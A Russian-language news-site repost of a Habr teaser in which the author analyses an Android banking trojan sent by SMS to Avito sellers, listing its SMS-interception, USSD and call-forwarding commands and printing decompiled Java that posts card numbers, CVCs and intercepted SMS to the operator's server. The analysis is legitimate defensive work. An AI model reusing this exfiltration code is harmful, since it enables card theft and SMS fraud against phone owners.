Как я позорно деактивировал ботнет

image
Статья не соответствует заголовку, сервер внезапно поднялся. Двойной позор.
Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK

Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:

delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом

sent&&& — отправка заданных СМС-сообщений с сервера

rent&&& — перехват всех СМС-сообщений и отправка их на сервер

sms_stop&&& — отмена перехвата СМС-сообщений

ussd&&& — USSD-запрос

call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок

protected HttpRequestBase a() { try { HttpPost httppost = new HttpPost(d()); ArrayList arraylist = new ArrayList(); arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c()))); arraylist.add(new BasicNameValuePair("number", b)); arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue()))); arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue()))); arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue()))); httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8")); return httppost; } catch(UnsupportedEncodingException unsupportedencodingexception) { unsupportedencodingexception.printStackTrace(); } return null; } protected String d() { return new String((new StringBuilder()).append(a).append("set_card.php").toString()); } protected HttpRequestBase a() { try { HttpPost httppost = new HttpPost(d()); ArrayList arraylist = new ArrayList(); arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b))); arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b))); httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8")); return httppost; } catch(UnsupportedEncodingException unsupportedencodingexception) { unsupportedencodingexception.printStackTrace(); } return null; } protected String d() { return new String((new StringBuilder()).append(a).append("get.php").toString()); } protected HttpRequestBase a() { try { JSONObject jsonobject = new JSONObject(); jsonobject.put("text", c); jsonobject.put("number", d); jsonobject.put("date", e); HttpPost httppost = new HttpPost(d()); ArrayList arraylist = new ArrayList(); arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b))); arraylist.add(new BasicNameValuePair("sms", jsonobject.toString())); httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8")); return httppost; } catch(UnsupportedEncodingException unsupportedencodingexception) { unsupportedencodingexception.printStackTrace(); } catch(JSONException jsonexception) { jsonexception.printStackTrace(); } return null; } protected String d() { return new String((new StringBuilder()).append(a).append("load_sms.php").toString());

Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера. Читать дальше → Хабрахабр про Андройд
Другие новости раздела: android

android

Samsung Galaxy Fit3: первый взгляд

Компания Samsung обновила свое устройство Galaxy Fit – фитнес-браслет с более чем сотней спортивных сценариев. Прошлый Galaxy Fit2 был выпущен в 2020 году. Устройство выпущено в трех цветах:

android

HONOR Magic6 Pro: камера профессионального класса HONOR Falcon с алгоритмами ИИ

Беззеркальные камеры стремительно завоевывают популярность среди фотографов любого уровня благодаря широким возможностям съемки при компактных габаритах корпуса. В последнее время такие камеры

android

Qualcomm Snapdragon 8 Gen 3: новый флагманский процессор для главных смартфонов 2024 года

Qualcomm представила новый мобильный процессор Snapdragon 8 Gen 3, который производится с использованием 4-нм техпроцесса. Новый чипсет предназначен для флагманских смартфонов 2024 модельного года.

android

Google показал Pixel 8 и Pixel 8 Pro: мало нового железа, много ИИ

Компания Google представила свои флагманские Android-устройства на ежегодной презентации. В рамках онлайн-трансляции Рик Остерлох и его коллеги показали Pixel 8 и Pixel 8 Pro, а также умные часы

Похожие публикации

Настройки и обзоры

Какие наушники, смартфоны, ноутбуки можно купить на Avito прямо сейчас?

В свете последних событий торговые площадки типа «Авито» станут гораздо более востребованы и актуальны. Хотя правильнее будет сказать…

android

Android last.fm скробблер WAIL Beta теперь Open Source

Привет. Примерно полгода назад я запилил Android приложение для скробблинга проигрываемой в разных плеерах музыки в last.fm. Уже несколько месяцев у меня нет времени развивать этот проект, поэтому я

Кратко по миру

Почему Windows в 2019 году не рулит, или ЧЯДНТ?

Хорошая альтернативная точка зрения ---- Почему Windows в 2019 году не рулит, или ЧЯДНТ? // Все публикации подряд По мотивам статьи Почему Windows XP в 2019 году по-прежнему рулит, или ЧЯДНТ? у меня

Софт

Как запретить Mac открывать ненужные приложения

После покупки Mac у меня было два небольших нарекания к OS X: автоматическое открывание iTunes, когда я переходил по любой ссылке в App Store в Safari и запуск Захвата приложений и iTunes при

android

Как создавать патчи, основанные на доверчивой политике безопасности Android

Приветствую тебя, уважаемый читатель! Offtop В этом топике я хотел бы рассказать о том, как можно получать доступ к тому, что принадлежит нам, но косвенно. Любой софт — это чья-то собственность:

android

[Из песочницы] Универсальный метод обхода запрета Yota раздавать интернет с телефона или собираем модуль ядра Android

Старые методы и их недостатки Я думаю, никому уже не интересно читать во второй раз (а может быть и в третий), о том, как Yota определяет, пользуется ли человек телефоном в режиме модема или точки

Радиостанции / Настройки и обзоры

Стримим радиоэфир или полицейская волна онлайн

Продалжаем собирать материалы по средствам связи (и не только сотовым), крайне любопытная статья была опубликована на Хабрахабре. Пользователь vvzvlad рассказывает о схеме прслушивания диапазона

Софт

Как настроить клавишу ? (или любую другую) для извлечения флэшек и внешних жестких дисков

Недавно у меня наконец-то дошли руки оформить в USB-карман, вытащенный из моего MBP 13″, 500 гигабайтный жесткий диск, оставшийся после апгрейда. На этот шаг меня подтолкнула нехватка места на SSD,